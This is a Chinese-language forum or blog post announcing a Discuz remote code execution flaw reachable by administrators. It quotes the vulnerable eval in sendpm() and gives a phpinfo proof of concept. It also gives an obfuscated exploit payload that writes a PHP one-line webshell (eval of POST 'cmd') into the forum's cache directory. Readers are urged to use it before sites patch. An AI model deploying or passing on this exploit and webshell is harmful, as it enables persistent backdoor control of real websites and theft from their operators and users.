discuz最新公布的0day-非创始人管理员代码执行漏洞

创始人, discuz, 漏洞, 管理员, 公布

其实吧，上一个远程代码执行漏洞公布后这个漏洞就在圈子里悄悄的流传了！，拿的童鞋抓紧了

今天早晨一看discuz都发布补丁了
漏洞存在的文件，global.func.php：

function sendpm($toid, $subject, $message, $fromid = '') {
if($fromid === '') {
require_once DISCUZ_ROOT.'./uc_client/client.php';
$fromid = $discuz_uid;
}
if($fromid) {
uc_pm_send($fromid, $toid, $subject, $message);
} else {
global $promptkeys;
if(in_array($subject, $promptkeys)) {
$type = $subject;
} else {
extract($GLOBALS, EXTR_SKIP);
require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
eval("\$message = addslashes(\"".$message."\");"); //无过滤，可插入代码
$type = 'systempm';
$message = '<div>'.$subject.' {time}'.discuzcode($message, 1, 0).'</div>';
}
sendnotice($toid, $message, $type);
}
}

POC 漏洞测试代码： 1. admincp.php?frames=yes&action=members&operation=newsletter 2. 发短消息，通知内容为：{${phpinfo()}} EXP 漏洞利用程序： ${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

以上代码功能为，生成PHP一句话木马。明文内容为：(fputs(fopen('forumdata/cache/cache_01.php','w'),'');) 如果漏洞利用代码执行成功，则在“forumdata/cache/cache_01.php”生成PHP一句话木马：，密码“cmd”。